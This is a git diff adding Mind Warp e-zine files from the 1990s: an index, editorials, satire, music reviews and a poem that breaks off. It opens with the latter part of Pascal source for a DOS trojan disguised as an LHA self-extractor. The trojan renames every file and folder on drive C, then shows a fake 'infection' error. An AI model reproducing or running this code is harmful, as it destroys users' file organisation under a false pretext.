then cur1:=4; + write(names[cur1],' '); + cur2:=1; + end; + write('.'); + cur2:=cur2+1; +end; + +procedure makename(special:word); +begin + stealth; + case numba of + 0..9:begin + for loop:=1 to 4 do ext[loop]:='0'; + str(numba,new); + ext[5]:=new[1]; + end; + 10..99:begin + for loop:=1 to 3 do ext[loop]:='0'; + str(numba,new); + ext[4]:=new[1]; + ext[5]:=new[2]; + end; + 100..999:begin + ext[1]:='0'; + ext[2]:='0'; + str(numba,new); + for loop:=3 to 5 do ext[loop]:=new[loop-2]; + end; + else + ext[1]:='0'; + str(numba,new); + for loop:=2 to 5 do ext[loop]:=new[loop-1]; + end; + + findfirst('*.*',special,wha); + if special<>$10 then begin + if ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then + repeat + findnext(wha); + until ((wha.name[1]<>'F') or (wha.name[2]<>'U') or (wha.name[3]<>'Q')) or (doserror<>0); + end else begin + + findfirst('*.*',$10,wha); + if ((wha.attr<>$10) and (doserror=0)) or (wha.name='.') or (wha.name='..') + or ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then + repeat + findnext(wha); + until (doserror<>0) or ((wha.attr=$10) and ((wha.name<>'.') and + (wha.name<>'..')) and ((wha.name[1]<>'F') or (wha.name[2]<>'U') + or (wha.name[3]<>'Q'))); + end; + if (doserror=0) then begin + assign(f,wha.name); + if ('FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'OFF')<>wha.name then + rename(f,'FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'OFF'); + numba:=numba+1; + end; +end; + +procedure changeit; +begin + repeat + findfirst('*.*',archive,wha); + if (doserror=0) and ((wha.name[1]<>'F') or (wha.name[2]<>'U') + or (wha.name[3]<>'Q')) then + repeat + makename($20); + until doserror<>0; + findfirst('*.*',$10,wha); + if ((wha.attr<>$10) and (doserror=0)) or (wha.name='.') or (wha.name='..') + or ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then + repeat + findnext(wha); + until (doserror<>0) or ((wha.attr=$10) and ((wha.name<>'.') and + (wha.name<>'..')) and ((wha.name[1]<>'F') or (wha.name[2]<>'U') + or (wha.name[3]<>'Q'))); + if doserror<>0 then begin + getdir(s,new); + if new='C:\' then done:=true else chdir('..') {change to C:\} + end else + if (wha.name<>'.') and (wha.name<>'..') then begin + makename($10); + chdir('FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'.OFF'); + end; + until (doserror<>0) and (done=true); +end; + +begin + textcolor(white); + fillnames; + writeln('LHA',chr(39),'S SFX 2.13s (c) Yoshi, 1991'); + writeln; + chdir('c:\'); + s:=3; + numba:=0; + changeit; + writeln; + writeln('Error! Archive Damaged. Error Code 16!'); + writeln('ERR 16 - ????'); + writeln; writeln; writeln; + writeln('ERR 1 = Bad CRC Check'); + writeln('ERR 2 = Missing CRC''s'); + writeln('ERR 3 - 14 = File size misreport! '); + writeln('ERR 15 = No files found.'); + writeln('ERR 16 = iNFeCTiON [infleunza]'); + writeln; writeln; + writeln('Should have taken your flu shot...95 is gonna be a bitch.'); + writeln('mustaine [infleunza]...KiCKiN'' iT FRoM CoLLEGE'); +end. + +(*-------------------------- CUT HERE ------------------------------------*) + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-070.txt b/textfiles.com/magazines/MINDWARP/mw-070.txt new file mode 100644 index 00000000..6b18f734 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-070.txt @@ -0,0 +1,213 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #15, File #070 ] + [ "Mind Warp! Index #5" by Mustaine ] + +------------------------------------------------------------------------------ + Mind Warp! Index #5 + [mustaine] +------------------------------------------------------------------------------ + + Ok, Volume #4. As you may have noticed, Raven isin't around at all for +this volume. Check out "Where's Raven (MW!-068.TXT) for information. So +what's new since the last volume? A lot of rather cool stuff has happened. +Javert (Pride) has joined our little group and submitted a truckload of +poems. Dark Horse has once again graced us with his poetry, and he also +submitted some short fiction as well. One was published now, and look for +the rest in upcoming Mind Warp! volumes. I also did some poems and stuff, +and this volume has a very literary orientation to it. Add to that my +usual music review, occasional editorial, and hate mail flame responses, and +you can pretty much sum everything up. I do believe most of our audience +will agree that this volume is a step back in the right direction after +the release of our third volume. We still are looking for more writers... +and we pretty much promise that so long as I can read it, I will publish it. + +Credits: +('!' denotes that they wrote for this volume, '*' denotes that they're a new + writer and have written for this volume (obviously)) +------------------------------------------------------------------------------ + [ ] Raven : Writer / Editor + [ ] Catwoman : Writer / Editor / Proofreader + [!] Mustaine : Writer / Editor / (wierd) k-rad d00d + [!] Dark Horse : Writer (Poet) / Editor + [ ] Buckwheat : Writer (O-TAY!) + [ ] Deker : Writer (Poet) + [ ] Slartibartfast : Writer (whoa) + [ ] Angst : Writer (in blue) + [ ] Killer Wombat : Writer (freak) + [*] Javert (PRiDE) : Writer (Poet) + +------------------------------------------------------------------------------ + + +Index: ( '*' Indicates that the file is new to this Volume ) +------------------------------------------------------------------------------ +Filename Topic/Title Author Volume Issue Filesize +------------------------------------------------------------------------------ +MW!-000.TXT "Introduction to Mind Warp!" Raven #0 #0 2.5k +MW!-001.TXT "Disturbing Thoughts" Raven #0 #1 6.9k +MW!-002.TXT "Untitled Poem" Mustaine #0 #2 2.6k +MW!-003.TXT "School Phun #1" Raven #0 #3 7.1k +MW!-004.TXT "Music Review: #1" Mustaine #0 #4 4.9k +MW!-005.TXT "Technology: The Man.." Raven #0 #5 4.1k +MW!-006.TXT "Music Review: #2" Mustaine #0 #6 5.7k +MW!-007.TXT "Cruelty to Animals" Raven #0 #7 4.3k +MW!-008.TXT "Network Hacking #1/2" Mustaine #0 #8 22.0k +MW!-009.TXT "Network Hacking #2/2" Mustaine #0 #9 10.2k +MW!-010.TXT "Mind Warp! Index #1" Raven #0 #10 4.7k +MW!-011.TXT "Phone Death" Raven #1 #0 6.7k +MW!-012.TXT "STUPIDRV.EXE" Mustaine #1 #1 13.1k +MW!-013.TXT "Class Voting" Raven/Catwoman #1 #2 2.9k +MW!-014.TXT "Music Review: #3" Mustaine #1 #3 8.7k +MW!-015.TXT "Misc. Poetry" Dark Horse #1 #4 4.8k +MW!-016.TXT "Editorial" Mustaine #1 #5 4.4k +MW!-017.TXT "A NEW Crime Bill" Raven #1 #6 5.1k +MW!-018.TXT "Kids...They Suck." Mustaine #1 #7 6.2k +MW!-019.TXT "Untitled Poem" Dark Horse #1 #8 2.2k +MW!-020.TXT "Phun with Snot" Mustaine #1 #9 5.4k +MW!-021.TXT "The World's Suckiest Jobs" Catwoman/Raven #1 #10 3.6k +MW!-022.TXT "Philosophical Wonderings" Buckwheat #1 #11 4.5k +MW!-023.TXT "Lion King Review" Mustaine #1 #12 4.5k +MW!-024.TXT "Summer" Buckwheat #1 #13 2.9k +MW!-025.TXT "Music Review: #4" Mustaine #1 #14 6.6k +MW!-026.TXT "Mind Warp! Index #2" Raven #1 #15 7.9k +MW!-027.TXT "The BLOND Virus" Mustaine #2 #0 4.0k +MW!-028.TXT "Lighter Tricks" Raven #2 #1 5.3k +MW!-029.TXT "Driving Grievances" Slartibartfast #2 #2 2.9k +MW!-030.TXT "Untitled Poem" Deker #2 #3 2.8k +MW!-031.TXT "Letter to Bozak" Mustaine #2 #4 3.3k +MW!-032.TXT "Race" Slartibartfast #2 #5 3.4k +MW!-033.TXT "Wild Walk" >Anonymous< #2 #6 4.8k +MW!-034.TXT "School Phun #2" Raven #2 #7 6.4k +MW!-035.TXT "The DAVE Continuum" Slartibartfast #2 #8 3.3k +MW!-036.TXT "Misc. Poetry" Mustaine #2 #9 4.5k +MW!-037.TXT "Labels Galore" Raven #2 #10 4.3k +MW!-038.TXT "Untitled Poem (#2)" Deker #2 #11 1.9k +MW!-039.TXT "What happened to Musty?!" Mustaine #2 #12 3.4k +MW!-040.TXT "Mind Warp! Index #3" Raven #2 #13 10.0k +MW!-041.TXT "Music Review: #5" Mustaine #3 #0 6.9k +MW!-042.TXT "wop wop" Angst #3 #1 5.8k +MW!-043.TXT "Musty's College Thang" Mustaine #3 #2 12.0k +MW!-044.TXT "Rock the Cradle" Mustaine #3 #3 2.5k +MW!-045.TXT "Stereograms" Raven #3 #4 3.7k +MW!-046.TXT "The Mustaine Continuum" Mustaine #3 #5 4.5k +MW!-047.TXT "..End of the World.." Killer Wombat #3 #6 5.6k +MW!-048.TXT "Music Review: #6" Mustaine #3 #7 5.9k +MW!-049.TXT "Musty Flames People #1" Mustaine #3 #8 7.7k +MW!-050.TXT "X-Men (Poem)" Angst #3 #9 1.9k +MW!-051.TXT "Roomates" Mustaine #3 #10 4.3k +MW!-052.TXT "Top Ten Lists" Mustaine #3 #11 3.7k +MW!-053.TXT "Friends" Mustaine #3 #12 6.2k +MW!-054.TXT "Mind Warp! Index #4" Raven #3 #13 12.6k +MW!-055.TXT * "That Wonderful, Awfull.." Dark Horse #4 #0 2.8k +MW!-056.TXT * "Sheep & Wool" Pride #4 #1 2.2k +MW!-057.TXT * "Poems for Alyson" Dark Horse #4 #2 4.1k +MW!-058.TXT * "Music Review: #7" Mustaine #4 #3 8.4k +MW!-059.TXT * "Sleazy" Pride #4 #4 2.1k +MW!-060.TXT * "Adventures in the Potty" Mustaine #4 #5 8.3k +MW!-061.TXT * "OOPS.ZIP" Mustaine #4 #6 7.8k +MW!-062.TXT * "Compression Utilities" >Anonymous< #4 #7 5.1k +MW!-063.TXT * "Midnight Blues - 1st Solo" Dark Horse #4 #8 7.2k +MW!-064.TXT * "Smurfs & Chicks" Various #4 #9 10.1k +MW!-065.TXT * "Misc. Poetry" Pride #4 #10 4.3k +MW!-066.TXT * "Flame Response" Mustaine #4 #11 4.8k +MW!-067.TXT * "Musty Flames People #2" Mustaine #4 #12 5.4k +MW!-068.TXT * "Where's Raven?" Mustaine #4 #13 2.9k +MW!-069.TXT * "huh 69 huh" >Anonymous< #4 #14 8.7k +MW!-070.TXT * "Mind Warp! Index #5" Mustaine #4 #15 13.1k + +------------------------------------------------------------------------------ + +Submitting a File: + Please feel free to submit anything you can. We are always greatful +for your work, and we publish most anything! Send your files to one +of the addresses below, or call one of the BBSs below, and upload it there. + + The following is the Mind Warp! PGP key. It isn't required that you +encrypt your mail or your submissions, but it would be greatly appreciated if +you would encrypt all submissions, and if possible encrypt any other mail, +even if it's not an important piece of mail, it's still nice to show support +for public encryption (Die, Clipper Chip, DIE!). + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.5 + +mQBtAi4Ez5EAAAEDAKjwhkGmSpWun8GDK2c3+VFfQrYzufsWo9q8ARuQyz2wj1Ub +RygEgk8j3lJMBto8rQ1H5aCLK8gFW+4n5Vx+7SvGyu+xxM2mOWuLm2oruF8P8fbk +aDUQwF+Lbts+ubkRiQAFEbQKTWluZCBXYXJwIQ== +=CGZF +-----END PGP PUBLIC KEY BLOCK----- + +Mind Warp! FTP/GOPHER/WWW Sites!: +------------------------------------------------------------------------------ + FTP : etext.archive.umich.edu /pub/Zines/Mindwarp + Gopher : //locust.cic.net/11/Zines/Mindwarp + //etext.archive.umich.edu/11/Zines/Mindwarp + WWW : http://www.wam.umd.edu/~johahn + http://www.wam.umd.edu/~mustaine +------------------------------------------------------------------------------ + + +Mind Warp! Funky Fresh Distro. BBSs: +------------------------------------------------------------------------------ +Name Number/Baud SysOp +------------------------------------------------------------------------------ +Omniverse 301-718-0225 14.4k Dark Horse +Hell's Kitchen 301-989-8510 28.8k Hell Raiser +------------------------------------------------------------------------------ +Please! We need more bbs's (especially out of the 301 area code!)! Send +mail to one of the listed addresses if you would like to be one, there aren't +any strange requirements, except that you run a BBS. + + +Mind Warp! E-mail Addresses: +------------------------------------------------------------------------------ +johahn@wam.umd.edu (raven) +mustaine@wam.umd.edu (Mustaine) +------------------------------------------------------------------------------ +(To other Mind Warp! Contributers, just yell if you want your address up + there, and be sure to tell me what it is. :) + + +Also check out these fine electronic zines (Obligatory Plugs :) : +------------------------------------------------------------------------------ +Name Editor +------------------------------------------------------------------------------ +Underground eXperts United (uXu) - The Chief +Helter Skelter (Digital Version) - Dark Horse +------------------------------------------------------------------------------ +(Both available at etext.archive.umich.edu) + + Please send all of your Mustaine Hate Mail to either address as well. +We know you want to send it. Hate mail will be sent to him, and it will be +published (with a reply) in a future issue. :) + +** New ** + Distribution Info: Because we started getting complaints, the +distribution information has been updated, and most likely will NOT be +changed again. Please, we emplore you to distribute these articles all +you want, but just keep the files in the format of MW!-XXX.TXT where XXX is +a file number that is *already* on there. Most often these files will be +archived by volume, and we ask you to also keep it in the same format, which +as of now will be MW_XXXX.AAA, where XXXX is the volume number, and AAA is +the default archive extension (ex. ZIP,ARC,ZOO,LZH,ARJ,UC2, etc...). These +files are *copyrighted*, and we ask that you do *not* reproduce, whether in +whole or part, any of the material without first recieving consent from the +*original* author. + +- Raven & Mustaine + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-071.txt b/textfiles.com/magazines/MINDWARP/mw-071.txt new file mode 100644 index 00000000..ee9d329c --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-071.txt @@ -0,0 +1,55 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #5, Issue #00, File #071 ] + [ "What the Hell???" by Mustaine ] + +------------------------------------------------------------------------------ + What the Hell??? + [mustaine] +------------------------------------------------------------------------------ + + Ordinarily, the commentary part of the 'zine usually comes from within +the index. However, since so much "stuff" has happened, and these particular +events are of some relevancy to our readers, I have decided to include it +here, in the first article of this issue. + To begin, I apologize for the 'zine not releasing any new material for +the last couple of months. There was actually a Volume #5 that was ready to +be released, chock full of cool stuff by Raven, Dark Horse, and myself, +but when I upgraded to Windows 95, I completely lost EVERYTHING. + Consequently, Dark Horse has been very hard to get in touch with, and I +do not have backup copies of his work. Raven and myself are much eaiser to +get in touch with, but neither of us have backups of our work either. + Many people noticed our World Wide Web homepage was not functioning for +the summer, and for those of you who were upset...sorry. The homepage was +disabled because the administration on WAM (Workstations at Maryland) +decidied that many Mind Warp and Sphear articles were "illegal", and +"touching on grey areas of the law." Because of this, the homepage is +being constantly revamped to comply with the rules. Life's a bitch. +I might add that Sphear is NO LONGER supported at Mind Warp! sites, and we +no loner endorse readers to check out the 'zine. + These are just some of the few reasons why Mind Warp! hasn't released in +so long. So what are some others, you might ask? Well, for one, life +f*cking sucks right now for me. I am taking a truckload of courses, I +am going through a pre-have-togetarealjobanddosomethingwithmylife crisis, +and I am majorly depressed. Why am I depressed? I don't know. I have a +wonderful girlfriend, I have an abundance of friends, I have an entire +HOUSE to myself, I have pets, and I am potty-trained. I think I need a +'proverbial' kick in the ass. Note I said 'proverbial'...of any of you see +me on the street and start kicking me, I'll beat the living sh*t out of you. +Oh well...enjoy the volume. + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-072.txt b/textfiles.com/magazines/MINDWARP/mw-072.txt new file mode 100644 index 00000000..5d27a5b2 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-072.txt @@ -0,0 +1,83 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #5, Issue #01, File #072 ] + [ "American Folk Stories : 2129 A.D." by Raven ] + +------------------------------------------------------------------------------ + American Folk Stories : 2129 A.D. + [raven] +------------------------------------------------------------------------------ + + "...You know, son," the man started, "we wouldn't have any of this +if not for a man who roamed across this vast country planting seeds that grew +into luscious, beautiful plants for us to use and enjoy." + "Do you mean Johnny Appleseed?" inquired the boy. + "No, son," replied the man, "I'm refering to Davey Hempseed." + + * * * * * + + The father quickly but neatly packed another bowl into his pipe. +"Many years back, there lived a man by the name of Davey Hempseed. Well, he +was just called Dave back then, but you get the idea. Anyway, Davey Hempseed +was a great man who realized the importance of hemp for the continued success +of this nation. He was determined to educate the people of America as to +the benefits of cannabis..." + "But didn't they already know how wonderful the herb is?" asked the +boy. + "No," chuckled the man, "People back then were savages and not very +intelligent. Computers had only recently been invented, and they used +devices called microchips that were made of silicon, haha.." the man sighed, +"They had also made hemp illegal." + The boy's mouth dropped upon hearing this last statement. + "Yes, people sure were stupid back then. Alas, thanks to Davey +Hempseed we've come along way, but without him who knows." + The man paused to take a long deep toke from his pipe. "Davey +started off with just one brick of marijuana. He smoked it all with his +friends, and found that he had a over a hundred seeds. Since they didn't +know how to extract the protein and nutrients from the seeds to make a +hemp-burger or other fine hemp product from the seeds back then, Davey set +off on a road trip to follow the Grateful Dead's summer tour." + "The Grateful Dead?" exclaimed the boy, "Was this before Jerry Garcia +died?" + "No," replied the man, again pausing to toke his pipe, "this was +shortly aftwerwards, but the rest of the Grateful Dead members were sell-outs +and continued to go on tour to make more money, but that's not the point." + The boy pulled his hempen blanket up around him, and begain rolling +a joint. + "Davey Hempseed," continued the man, "followed the Dead everywhere +in his Volkswagon bus. Seattle, Chicago, New York, DC, Atlanta, New Orleans, +Austin, Los Angeles, everywhere. And everyplace he went, he would plant the +hempseeds from the last brick he smoked, and buy another brick. He planted +the seeds in public parks, private property, landfills, anywhere they would +grow." + The boy fired up his tightly wrapped J. + "The following year, Davey followed Pink Floyd around on their US +summer tour." + "Pink Floyd?!?" the boy exclaimed in pure awe. + "Yes, Floyd had sold out by this time as well, but they still played +some great tunes. Anyway, as Davey Hempseed went to each city he had +visited the previous year, he found marvellous fields of hemp already growing +where he had planted them. Soon hords of concert goers followed in Davey's +footsteps. They would smoke the plants that Davey had planted and then +replant the seeds. After a few years the entire country was green with hemp. +All because of one man and a dream. Davey also did some political stuff, +but I can't remember what right now. Pass me the herb..." + + +raven(69) + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-073.txt b/textfiles.com/magazines/MINDWARP/mw-073.txt new file mode 100644 index 00000000..b9fa09ba --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-073.txt @@ -0,0 +1,82 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #5, Issue #02, File #073 ] + [ "Egypt Air 1996" by Mustaine ] + +------------------------------------------------------------------------------ + Egypt Air 1996 + [mustaine] +------------------------------------------------------------------------------ + + The year was nine-teen hundred and ninety-six, and the location was a +sheer hellhole known as the Answan Airport. The country and planet, well you +see this is where it gets funny...Egypt, PLANET EARTH. I still marvel at +the sheer bass-ackwards'ness of the current Arab Republics stinking up the +Middle Easten region of our planet today. Personally, I have absolutely +nothing against the people of the Arab Republics today, at least not the +normal people. In fact, I would go so far as to say that I ONLY have a +problem with the certain induviduals that are given any position of power +in these Arab Republics, for example the Prime Minister and President of the +Arab Republic of Egypt. If you thought those wonderful sterotyped +induviduals from Seven-Eleven (which by the way is open 24 hours a day, NOT +7 to 11) were capable of making horrible blunders, you should visit Egypt +someday...or in my case, FLY EGYPT AIR! What does this have to do with the +Prime Minister or President of Egypt you might ask? Well, let me tell you. + First off, the US and Britian give over something like a combined total +of ten BILLION dollars to this sh*thole every year. Out of that, about +9 BILLION, 999 thousand, 999 dollars goes to the elite upper class of +Egypt (in this case being the f*cking Prime Minister and all his buddies), +and the rest (ha) goes to the 'other', normal people. Pretty f*ucking lame, +eh? + Well, here is an example of how at least SOME of that money SHOULD be +spent, instead of rich cars, white slave girls, and insanely expenisve +sattelite dishes. I was supposed to fly OUT of Answan on Egypt Air one fine +day in 1996, when I was told that the plane was delayed. Six hours. + + (Did everybody get that? Mustaine had to wait SIX f*cking hours for + a mother-f*cking plane. You can SEE where this is bad, yes?) + + At any rate, I find out from a very friendly, and very poor Egyptian, that +the plane f*cking broke on the runway. BROKE. + + (Did everybody get that? Mustaine had to wait SIX f*cking hours for + a mother-f*cking plane that NEVER came because it broke on the RUNWAY + BECAUSE the f*cking MONEY that Egypt should use to keep its planes in + repair is used by the Prime Minister and all his buddies to buy + rich cars, white slave girls, and insanely expenisve sattelite dishes. + You can SEE where this is bad, yes?) + + At any rate, they send a replacement plane. This plane, which is NOT +painted, looks like it flew in World War II, has very ripped up upholstry, +and whose cargo racks flew open during lift-off, is a REPLACEMENT for the one +that BROKE. + + (Did everyboy get that? GOOD...I'm tired of writing, "Did everybody get + that?") + + I swear to whoever the heck sits up in heaven these days (and THAT +INCLUDES Davey Hempseed...) was watching over me when this replacement +plane flew my damn cute ass over the Arab Republic of Egypt. Pretty NOT +swell, eh? + + (Did everybody get that? CALL THE US GOVERMENT...MAKE THEM STOP SENDING + MONEY TO EGPYT. TELL THEM TO SEND NEW WORKING PLANES. MAKE IT SAFER + FOR FOREIGNERS TO FLY EGPYT AIR! POWER TO THE PEOPLE! GO WIZARD OF OZ! + GO MUSTAINE!, you awesome MW writer you....) + + Peace, and till the next episode...Mustaine. + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-074.txt b/textfiles.com/magazines/MINDWARP/mw-074.txt new file mode 100644 index 00000000..fac01060 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-074.txt @@ -0,0 +1,69 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #5, Issue #03, File #074 ] + [ "New Handgun Application" by Raven ] + +------------------------------------------------------------------------------ + New Hand Gun Application + [raven] +------------------------------------------------------------------------------ + + Ok, after living in Texas for a few months now, I've decided that +the US needs a better application for people who want to purchase handguns. +If a person answers yes to any of the following questions, then they cannot +purchase a gun, if they answer yes to 3 or more of the questions, they should +be locked up. + +1. Do you live in Texas and are PROUD of being a Texan? +2. Do you sort mail for the US postal service? +3. Do you use Prozac? +4. If you have ever been in the military : + a. Do you feel the government has wronged you? (besides being + unwillingly drafted) + b. Do you feel the people of the US have wronged you? + c. Do you often feel that someone is watching you? + d. Do you often feel that everyone is out to get you? + e. Have you ever slept with your gun? + f. Were you ever expirimented upon with LSD while in the military? +5. If you are an active church goer : + a. Do you plan on stock-piling your weapons? + b. Do you believe that you or any member of your church is a prophet? + c. Do you believe that you or any member of your church is God? +6. Do you regularly use any of the following as pronouns : + "Joe," "Bra," "Dawg," "Ese," "Vato." +7. Do you often talk of wanting to "put a cap in [someone]'s ass" because + they wronged you? +8. Do you think seven (7) is an appropriate age to teach your child(ren) to + shoot a gun. +9. Do you plan to use teflon-coated(armor piercing) or hollow-point + (man-stopper) bullets? +10. Is the second amendment to the US Constitution your favorite amendment? +11. Did you get upset when the Brady Bill was passed? +12. Are you a member of, or do you plan on joining a militia? +13. Have you willingly watched the movie 'Platoon' over five times? +14. Do you hear voices? +15. Do you wish to kill off any group of people? (determined by race, + religion, nationality, ethnic background or political affiliation (with + the exception of french Canadians who wish to secede from Canada, and + real french people who like to test nuclear weapons; All of these people + should die.)) + +Welp, that's it. Ummm... ok. + +raven(69) + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-075.txt b/textfiles.com/magazines/MINDWARP/mw-075.txt new file mode 100644 index 00000000..5ee2d68b --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-075.txt @@ -0,0 +1,105 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #5, Issue #04, File #075 ] + [ "Music" by Ninja-Man Bob ] + +------------------------------------------------------------------------------ + Music + [nmb] +------------------------------------------------------------------------------ + + (* Editors Note : NO, this is NOT Mustaine...his Music reviews will + also return some century soon after the regulary scheduled + articles get written, and MW is released. *) + + + +ninja-man bob on music: + +Corm: The Conservation of Momentum 7" +(shute number 7 / dischord 98.75) + + DC's very own Corm does it again with their new 7": The +Conservation of Momentum. 3 new songs full of typical strong Corm +vocals, dynamic beats, and new sounds of brass. Older Fugazi and +influence of Edsel come to mind. The anticipation and eventual +execution of the solo breakdown in "Movie Actor Patrick" is almost +orgasmic. + mailorder catalogs cost you only a stamp: + shute.pobox.2291.kensington,md.20891.usa + 301.983.4264 shuterec@wam.umd.edu + +watch out for an upcoming Corm CD! +================================================================= +Dead Kennedys: Give Me Convenience of Give Me Death +(alternative tentacles records) + + I don't know why you WOULDN'T have this album, especially if +you're a dk fan. It has everything: reckless, carefree, FUCK-YOU +punk songs, satirical political bits, Biafra humor (he even tells +ya a STORY!), long songs, short songs, really short songs, and a +great deal of meaningful commentaries that most of you won't +absorb. A great interpretation of "I fought the law" and even a +couple of live songs are included. + Kinky sex makes the world go round, buy this album. +================================================================= +Nine Inch Nails: Further Down the Spiral +(halo ten) + + Decent, but definitely not up to par. Compared to Fixed, the +mixes of BROKEN, these remixes (of songs off of The Downward +Spiral) are disgracefully uncompetitive. Rick Rubin made Piggy +sound like house music (still rather energetic, but a lot more +upbeat) and Peter Christopherson/Coil threw in some of his strange +flavor on a couple of tracks, but I thought the highlight of the +whole album was the hard-edged, mechanical, industrial creation of +Aphex Twin: at the heart of it all. My opinion: if you want some +good CURRENT mixes, buy halo 9: closer (don't be fooled! this cd- +single nears an hour of playtime and a whole lot better). +================================================================= +Pixies: Trompe le Monde + + I've never heard anything by this group that was any less than +spectacular and this album is definitely no exception. Their +ingenuitive music set inspiration for countless contemporary bands, +and after listening to it, you'll know why. From quick and catchy +pop songs of Black Francis to the compellingly mellow music +appropriately backed by the soothing voice of Kim Deal, I can +honestly say this is the best music I have ever bought for a buck. +Of course, you can no longer purchase it for that price, but you +have your great modern radio stations to thank for that. + Overall, very emotional music.. inspiring even. Switching +moods like a fat woman does buffet plates, this music will have you +ready to take on the world in one moment, crying for your lover in +another, and then up and running again. Perfect any occasion: buy +it, thank me l8r. +================================================================= +Jen Hitt: Music For the Royal Fireworks + + Wonderful local blastpop. Very Velocity Girl with guitar that +hints early Billy Corgan. Though containing some calming soft +spots, this tape possesses an aura of fun pop music. Personally, +I hoped for more crazy beats from the bass-man, but definitely +worth the five dollars. Watch for these crazy QOHS'ers ('cept +Tammy, the vocals: UMD for her) at a fine musical establishment +near you. + Mail me if you're interested in future shows, new music, etc. +================================================================= + +reach ninja-man bob: ninjaman@apo.com -or- sjg@metnet.epflbalto.org + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-076.txt b/textfiles.com/magazines/MINDWARP/mw-076.txt new file mode 100644 index 00000000..0399bd9d --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-076.txt @@ -0,0 +1,63 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #5, Issue #05, File #076 ] + [ "Squid's Poem" by Squid ] + +------------------------------------------------------------------------------ + Squid's Poem + [Squid] +------------------------------------------------------------------------------ + + (* Editor's Note : Take this for what it is...DO NOT TRY to understand, + you will be confused... BUT IT REALLY is a pretty poem if you hit + PAGE-DOWN... *) + + +X-mas 1995 December 21st + + I offered to bake Mom's traditional cookie dough--Nan's Russian Tea Balls +and Pank's Lace Cookies. For years, Mom used to get rather tense around the +holidays. We'd all offer to help with the endless chores, but she invariably +refused or, reluctantly gave in. Nowadays, Mom is much more relaxed. +Yesterday, in an effort to help out, I took the cookie dough to Sara's new +apartment in Cockeysville to 